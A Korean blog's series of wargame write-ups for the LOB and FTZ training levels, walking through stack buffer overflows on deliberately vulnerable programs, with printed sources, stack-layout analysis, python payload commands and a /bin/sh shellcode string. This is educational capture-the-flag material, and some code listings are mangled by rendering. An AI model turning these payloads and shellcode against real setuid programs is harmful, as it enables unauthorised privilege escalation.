[LOB] darkelf -> orge

Posted by dw0rdptr
2015. 3. 31. 17:45 System/LOB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // here is changed!
    if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
    }
 
    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
}
cs

1) egghunter 환경변수를 못씀

2) argv[1][47] 에 \xbf가 없으면 종료(ret 주소) -> 스택 내에 쉘코드를 써야한다는 것을 뜻합

3) buffer hunter 버퍼를 비움 -> 버퍼내에 쉘코드 쓰기불가

4) argv[1](첫번째 인자) 길이를 48로 제한

5) argv[0] 길이 77이 되어야함


argv[0]은 프로그램을 호출하는 데 사용하는 명령이 저장되는데,

argv[0]의 길이가 77이 아니면 프로그램을 종료한다



프로그램의 경로를 늘려 77로 맞추는데에 두 가지 방법이 있다

./orge [전달할 인자] 이렇게 실행하면 argv[0]에 6이 들어가게 되는데, 스크립트를 써서

.////////////////////////...../////////////orge [인자]

이런식으로 '/'를 72개를 채워 77자를 맞추면 argv[0] error 분기점을 무사히 넘어가 stack is still your friend가 나온다.



또 다른 방법은 심볼릭링크를 생성해 파일명을 77자로 맞추는것이다



성공적으로 넘어가 stack is still your friend이 떴다


나머지는 전레벨과 똑같다

arge.c 소스를 argv[1]의 주소를 출력하게 바꿔서 argv[1]의 주소를 구하고



페이로드와 Password




'System > LOB' 카테고리의 다른 글

[LOB] troll -> vampire  (0) 2015.04.01
[LOB] orge -> troll  (0) 2015.04.01
[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] goblin -> orc  (0) 2015.03.21

[LOB] wolfman -> darkelf

Posted by dw0rdptr
2015. 3. 25. 12:26 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h> 
 
extern char **environ; 
 
main(int argc, char *argv[])
{    
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);    
    }     
 
    // egghunter     
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
    //chek the length of argument
    if(strlen(argv[1> 48){
        printf("argument is too long\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
 
    // buffer hunter
    memset(buffer, 040);
}
cs


1) egghunter 환경변수를 못씀

2) argv[1][47] 에 \xbf가 없으면 종료(ret 주소) -> 스택 내에 쉘코드를 써야한다는 것을 뜻합

3) buffer hunter 버퍼를 비움 -> 버퍼내에 쉘코드 쓰기불가

4) argv[1](첫번째 인자) 길이를 48로 제한


argv[1]의 길이를 48까지 줄 수 있게 제약이 추가되었지만 

전단계에서도 buffer[40] + sfp[4] + ret[4] 딱 48까지 인자를 전달했기 때문에 있으나마나한 제약이다,


argv[1]의 주소를 구해 전레벨의 페이로드를 그대로 갖다쓰면된다.



페이로드와 Password



'System > LOB' 카테고리의 다른 글

[LOB] orge -> troll  (0) 2015.04.01
[LOB] darkelf -> orge  (0) 2015.03.31
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] goblin -> orc  (0) 2015.03.21
[LOB] cobolt -> goblin  (0) 2015.03.20

[LOB] orc -> wolfman

Posted by dw0rdptr
2015. 3. 24. 23:46 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
}
 
 
 

cs

전레벨과 같은 소스에서 buffer hunter가 추가되어 버퍼를 비운다.


1) egghunter 환경변수를 못씀

2) argv[1][47] 에 \xbf가 없으면 종료(ret 주소) -> 스택 내에 쉘코드를 써야한다는 것을 뜻합

3) buffer hunter 버퍼를 비움 -> 버퍼내에 쉘코드 쓰기불가



strcpy함수를 보자

argv[1], 즉 프로그램에서 받은 인자를 buffer에 복사한다면 argv[1]의 주소에도 인자가 쓰여져 있으므로 buffer hunter 때문에  ret에 buffer의 주소를 덮지 못한다면 argv[1]의 주소를 덮으면 된다.


printf("%s\n",buffer);를 printf("%p"\n",argv[1]);로 바꾸고 argv[1]의 주소를 알아내 ret에 덮어쓰면 끝


전레벨과 동일하지만 ret에 argv[1]의 주소를 덮는다는 것이 차이점이다


페이로드와 Password




'System > LOB' 카테고리의 다른 글

[LOB] darkelf -> orge  (0) 2015.03.31
[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] goblin -> orc  (0) 2015.03.21
[LOB] cobolt -> goblin  (0) 2015.03.20
[LOB] gremlin -> cobolt  (0) 2015.03.18

[LOB] goblin -> orc

Posted by dw0rdptr
2015. 3. 21. 18:26 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
cs

여러 제약조건이 추가되었다

1) egghunter 환경변수를 못씀

2) argv[1][47] 에 \xbf가 없으면 종료(ret 주소) -> 스택 내에 쉘코드삽입을 뜻함


gdb로 분석해보면


스택에 2c(44)바이트만큼의 공간이 할당되어있다.

메모리구조는

(row) | i[4] | buffer[40] | sfp[4] | ret[4] | (high)


strcpy 함수가 호출된 직후 브포를 걸어 buffer의 시작주소를 찾는다


NOP(19)+쉘코드(25)+버퍼의 시작주소(4)로 페이로드를 짜서 공격해봤다

Segmentation fault가 뜬다. 어떻게 된건지 찾아봤더니 gdb로 디버깅해서 나오는 주소값과 실제 프로그램상의 주소가 차이가 난다고 한다.

정확한 버퍼 주소를 알아보기 위해 orc.c 소스에서 printf("%s",buffer);를 %p로 바꿔 주소를 출력하게 했다.



페이로드와 Password


'System > LOB' 카테고리의 다른 글

[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] cobolt -> goblin  (0) 2015.03.20
[LOB] gremlin -> cobolt  (0) 2015.03.18
[LOB] gate->gremlin  (0) 2015.03.17

[LOB] cobolt -> goblin

Posted by dw0rdptr
2015. 3. 20. 15:54 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/
 
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}
cs

- goblin 소스


gets로 buffer에 입력을 받아 출력하는데 gets함수 역시 입력문자열의 길이를 제한하지 않아
버퍼오버플로우 취약점이 발생한다.


스택에 16바이트 할당했으므로
메모리구조
| buffer(16) | sfp(4) | ret(4) |


전레벨과 똑같은 환경변수 shellcode를 등록하고 주소를 찾는다.

앞의 문제와는 다르게 실행할 때 인자를 받지 않고 프로그램 내에서 입력을 받으므로
파이프 명령어 | (shift + \)를 이용해 스크립트를 전달한다.


성공

Password


'System > LOB' 카테고리의 다른 글

[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] goblin -> orc  (0) 2015.03.21
[LOB] gremlin -> cobolt  (0) 2015.03.18
[LOB] gate->gremlin  (0) 2015.03.17

[LOB] gremlin -> cobolt

Posted by dw0rdptr
2015. 3. 18. 15:18 System/LOB

ㄹㅇ

ㅇㄹ

cobolt 소스


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/
 
int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs

bash2실행하고 gdb로 까봤다

스택에 16바이트가 할당되어있다. 역시 더미가 없으므로 메모리구조를 생각해보면

| buffer(16Byte) | sfp(4Byte) | ret(4Byte) |

이렇게 된다. 버퍼의 크기가 작아 버퍼에 쉘코드를 쓰는 대신 환경변수를 이용해 풀겠다


NOP과 쉘코드가 있는 환경변수 shellcode를 등록하고 주소를 찾았다.

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
    char *addr;
    addr=getenv(argv[1]);
    printf("The address of %s is %p\n",argv[1],addr);
    return 0;
}
cs

*환경변수 주소를 구하는 소스


페이로드와 결과


'System > LOB' 카테고리의 다른 글

[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] goblin -> orc  (0) 2015.03.21
[LOB] cobolt -> goblin  (0) 2015.03.20
[LOB] gate->gremlin  (0) 2015.03.17

FTZ level16

Posted by dw0rdptr
2015. 3. 17. 21:26 System/FTZ

-hint 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h> 
 
void shell()
{  
    setreuid(3097,3097);  
    system("/bin/sh");
 
void printit()
{  
    printf("Hello there!\n");
 
main(){   
 
    int crap;  
    void (*call)()=printit;  
    char buf[20];  
    fgets(buf,48,stdin);  
    call();
}  
cs



간단한 문제다 

void (*call)()=printit; 

포인터 함수 *call이 사용자 정의 함수 printit의 주소를 가르키고 있으므로

함수 shell의 시작주소를 대신 채워주면 쉘을 획득할 수 있다.


gdb로 shell함수를 디스어셈블해보면

0x080484d0 <shell+0>: push   %ebp

함수 shell의 시작주소는 0x080484d0이다





buf와 *call의 거리는 level15처럼 구하면

40이므로 40개를 채워주고 shell함수의 주소를 채우면 

(python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat) | ./attackme


id

uid=3097(level17) gid=3096(level16) groups=3096(level16)


성공


my-pass


Level17 Password


'System > FTZ' 카테고리의 다른 글

FTZ level15  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17

FTZ level15

Posted by dw0rdptr
2015. 3. 17. 21:22 System/FTZ


1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
main(){   
 
    int crap;  
    int *check;  
    char buf[20];  
    
    fgets(buf,45,stdin);  
    if (*check==0xdeadbeef)   
    {     
        setreuid(3096,3096);     
        system("/bin/sh");  
    }
}  
cs


*check 포인터 변수는 입력받은 값을 주소로 받아

그 주소 안에 있는 값을 참조하므로

*check가 참조하는 값이 deadbeef가 되어야 한다


환경변수선언

export shellcode=`python -c 'print "\xef\xbe\xad\xde"'` 


*check에 shellcode 주소를 채우기만 하면 된다.


환경변수 주소 찾기

-앞에서 나온 주소 찾기 소스는 대략적인 위치만을 찾아 NOP Sled를 사용해 쉘코드를 실행시켰지만

이문제는 환경변수의 정확한 시작 주소를 찾아야 하기 때문에 아래의 소스를 쓴다



--get.c


1
2
3
4
5
6
7
int main(int argc, char **argv){
 
    long ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2
    printf("\nUse Address : %p", ptr);
    return 0;
}
cs


 //USAGE ./get 환경변수이름/ target의절대경로

./get shellcode /home/level15/attackme



Use Address : 0xbffffeff



공격 코드는


(python -c 'print "A"*40 + "\xff\xfe\xff\xbf"';cat) | /home/level15/attackme



id

uid=3096(level16) gid=3095(level15) groups=3095(level15)


my-pass


Level16 Password


'System > FTZ' 카테고리의 다른 글

FTZ level16  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17

FTZ level14

Posted by dw0rdptr
2015. 3. 17. 21:15 System/FTZ


hint


레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h> 
main(){  
 
    int crap; 
    int check;  
    char buf[20];  
    
    fgets(buf,45,stdin);  
    
    if (check==0xdeadbeef)
    {     
        setreuid(3095,3095);     
        system("/bin/sh");   
    }
}    
cs



프로그램 안에서 쉘을 실행시키기 때문에 조건만 만족시켜주면 된다


buf에서 버퍼 오버플로우를 일으켜 check에 deadbeef를 채우면 되는데

표준입력으로 받기 때문에 파이프명령어 사용


| buf[20] | dummy[?????] | check[4] | ------


buf와 check 사이의 dummy값을 모르기 때문에 20부터 하나씩 채워나간다


(python -c 'print "A"*21 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*28 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*30 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*35 + "\xef\xbe\xad\xde"';cat)| ./attackme


...


(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat)| ./attackme




id

uid=3095(level15) gid=3094(level14) groups=3094(level14) 


성공.

my-pass



Level15 Password


'System > FTZ' 카테고리의 다른 글

FTZ level16  (0) 2015.03.17
FTZ level15  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17

FTZ level13

Posted by dw0rdptr
2015. 3. 17. 21:11 System/FTZ

-hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h> 
main(int argc, char *argv[]){   
 
    long i=0x1234567;  
    char buf[1024];   
 
    setreuid( 30943094 );   
    
    if(argc > 1)   
        strcpy(buf,argv[1]);   
 
    if(i != 0x1234567)
{   
        printf(" Warnning: Buffer Overflow !!! \n");   
        kill(0,11);   
    }
}
cs



gdb로 디스어셈블을 한결과 

<main+3>    sub      $0x418,%esp    0x418=1048


스택에 할당된 공간은 1048이다


높은주소

----------

  ret[4]                          자라는방향↓

----------

  sfp[4]

----------

dummy1[?]

----------

dummy2[?]

----------

i=0x1234567

----------

dummy3[?]

----------

buf[1024]                        

----------

낮은주소


소스코드를 보면 i에 0x1234567이라는 값이 없으면 프로그램이 강제로 종료된다


i에 저장된 값이 바뀌게되면 Warning : Buffer Overflow ! ! !라는 경고문이 뜨고

Segmentation fault 메시지와 함께 kill함수에 의해 프로세스가 종료된다.


i전까지 A로 채우고 i에 0x1234567을 입력해준다음 ret전까지 다시 A로 채워준다

그리고 ret에 환경변수 주소를 채우면 쉘을 획득하게 된다


일단 A를 1024바이트 부터 계속 하나씩 더해서 buf와 i 사이의 dummy1의크기를 구한다


./attackme `python -c 'print "A" * 1024'부터


.....

                       

./attackme `python -c 'print "A" * 1036'`까지 입력해보니


 Warnning: Buffer Overflow !!! 

Segmentation fault



드디어 떴다!


여기서 i전까지 A를 에러가 뜨기 바로 전인 1035개가 아니라 1036개를 채워야 한다

왜그런지 간단하게 설명하자면 


[A][A][A][\0]                   

           [01][23][45][67] →  i


이런식으로 끝에 null값이 들어가고 뒤에 문자열을 추가하면 null값이 사라지고 그위치부터 입력이 시작되기 때문에 

처음 경고문이 뜨는 1036개를 채워야한다


buf+dumm3=1036이므로


dummy3의 크기는 12


dummy1+2의 크기는 1048-buf(1024)+dummy3(12)+i(4), 1048-1040=8



낮은주소 | buf[1024] | dummy3[12] | i [4] | dummy1+2[8] | fsp[4] | ret[4] | 높은주소


이제 환경변수와 공격코드를 짜는일만 남았다.


환경변수

export shellcode=`python -c 'print "\x90"*50+ "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


환경변수 shellcode의 주소는 0xbffffeda



따라서


공격코드는

./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xda\xfe\xff\xbf"'`


level14 passward


'System > FTZ' 카테고리의 다른 글

FTZ level15  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17